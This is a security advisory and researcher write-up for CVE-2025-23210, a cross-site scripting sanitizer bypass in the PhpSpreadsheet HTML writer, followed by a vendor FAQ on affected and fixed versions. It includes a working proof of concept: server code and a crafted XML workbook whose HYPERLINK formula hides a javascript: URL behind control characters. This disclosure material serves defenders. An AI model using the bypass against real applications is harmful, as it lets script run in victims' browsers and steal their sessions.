CVE-2025-23210

Product: PhpSpreadsheet
Version: 3.8.0
CWE-ID: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CVSS vector v.3.1: 5.4 (AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N)
CVSS vector v.4.0: 4.8 (AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N)
Description: an attacker can use special characters, so that the library processes the javascript protocol with special characters and generates an HTML link
Impact: executing arbitrary JavaScript code in the browser
Vulnerable component: class PhpOffice\PhpSpreadsheet\Writer\Html, method generateRow
Exploitation conditions: a user viewing a specially generated xml file
Mitigation: additional sanitization of special characters in a string
Researcher: Igor Sak-Sakovskiy (Positive Technologies)

Research

The researcher discovered zero-day vulnerability Bypass XSS sanitizer using the javascript protocol and special characters in Phpspreadsheet.
The following code is written on the server, which translates the XML file into an HTML representation and displays it in the response.

Listing 4. Source code on the server

<?php

require __DIR__ . '/vendor/autoload.php';

$inputFileType = 'Xml';
$reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader($inputFileType);  

$inputFileName = './doc/file.xml';
$spreadsheet = $reader->load($inputFileName); 
 
$writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet); 
print($writer->generateHTMLAll());

The contents of the xml file - ./doc/file.xml

Listing 5. The contents of the xml file

<?xml version="1.0"?> 
<?mso-application progid="Excel.Sheet"?> 
<Workbook xmlns="urn:schemas-microsoft-com:office:spreadsheet" 
 xmlns:o="urn:schemas-microsoft-com:office:office" 
 xmlns:x="urn:schemas-microsoft-com:office:excel" 
 xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet" 
 xmlns:html="http://www.w3.org/TR/REC-html40"> 
 <DocumentProperties xmlns="urn:schemas-microsoft-com:office:office"> 
  <Author>author</Author> 
  <LastAuthor>author</LastAuthor> 
  <Created>2015-06-05T18:19:34Z</Created> 
  <LastSaved>2024-12-25T10:16:07Z</LastSaved> 
  <Version>16.00</Version> 
 </DocumentProperties> 
 <OfficeDocumentSettings xmlns="urn:schemas-microsoft-com:office:office"> 
  <AllowPNG/> 
 </OfficeDocumentSettings> 
 <ExcelWorkbook xmlns="urn:schemas-microsoft-com:office:excel"> 
  <WindowHeight>11020</WindowHeight> 
  <WindowWidth>19420</WindowWidth> 
  <WindowTopX>32767</WindowTopX> 
  <WindowTopY>32767</WindowTopY> 
  <ProtectStructure>False</ProtectStructure> 
  <ProtectWindows>False</ProtectWindows> 
 </ExcelWorkbook> 
 <Styles> 
  <Style ss:ID="Default" ss:Name="Normal"> 
   <Alignment ss:Vertical="Bottom"/> 
   <Borders/> 
   <Font ss:FontName="Calibri" x:Family="Swiss" ss:Size="11" ss:Color="#000000"/> 
   <Interior/> 
   <NumberFormat/> 
   <Protection/> 
  </Style> 
  <Style ss:ID="s16"> 
   <NumberFormat ss:Format="General Date"/> 
  </Style> 
 </Styles> 
 <Worksheet ss:Name="Лист1"> 
  <Table ss:ExpandedColumnCount="2" ss:ExpandedRowCount="6" x:FullColumns="1" 
   x:FullRows="1" ss:DefaultRowHeight="14.5"> 
   <Column ss:AutoFitWidth="0" ss:Width="194"/> 
   <Row> 
     <Cell ss:Formula="=HYPERLINK (CHAR(20) &amp; &quot;j&quot; &amp; CHAR(13) &amp; &quot;avascript:alert(1)&quot;)"><Data ss:Type="String"></Data></Cell> 
   </Row> 
  </Table> 
  <WorksheetOptions xmlns="urn:schemas-microsoft-com:office:excel"> 
   <PageSetup> 
    <Header x:Margin="0.3"/> 
    <Footer x:Margin="0.3"/> 
    <PageMargins x:Bottom="0.75" x:Left="0.7" x:Right="0.7" x:Top="0.75"/> 
   </PageSetup> 
   <Selected/> 
   <TopRowVisible>1</TopRowVisible> 
   <Panes> 
    <Pane> 
     <Number>3</Number> 
     <ActiveRow>6</ActiveRow> 
    </Pane> 
   </Panes> 
   <ProtectObjects>False</ProtectObjects> 
   <ProtectScenarios>False</ProtectScenarios> 
  </WorksheetOptions> 
 </Worksheet>
</Workbook>

Due to the load with a special character in front of the javascript protocol, the execution flow hits line 1595, not 1593.

Figure 4. Generating a link bypassing a regular expression

In the response from the server, you can see which special character is located in front of the javascript protocol after conversion.

Figure 5. Response from the server with a special character

When viewing the rendered result, a link becomes visible in the browser, and when clicked, the embedded JavaScript code will be executed.

Figure 6. Executing JavaScript code

Credit

Igor Sak-Sakovskiy (Positive Technologies)

Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.

CVE-2025-23210 has a CVSS score of 5.4 (Medium). The vector is network-reachable, low privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.9.0, 1.29.9, 2.3.7, 2.1.8); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2025-23210? CVE-2025-23210 is a medium-severity cross-site scripting (XSS) vulnerability in phpoffice/phpspreadsheet (composer), affecting versions >= 3.0.0, < 3.9.0. It is fixed in 3.9.0, 1.29.9, 2.3.7, 2.1.8. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
2. How severe is CVE-2025-23210? CVE-2025-23210 has a CVSS score of 5.4 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which packages are affected by CVE-2025-23210?
   • phpoffice/phpspreadsheet (composer) (versions >= 3.0.0, < 3.9.0)
   • phpoffice/phpexcel (composer) (versions <= 1.8.2)
4. Is there a fix for CVE-2025-23210? Yes. CVE-2025-23210 is fixed in 3.9.0, 1.29.9, 2.3.7, 2.1.8. Upgrade to this version or later.
5. Is CVE-2025-23210 exploitable, and should I be worried? Whether CVE-2025-23210 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2025-23210 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2025-23210?
   • Upgrade phpoffice/phpspreadsheet to 3.9.0 or later
   • Upgrade phpoffice/phpspreadsheet to 1.29.9 or later
   • Upgrade phpoffice/phpspreadsheet to 2.3.7 or later
   • Upgrade phpoffice/phpspreadsheet to 2.1.8 or later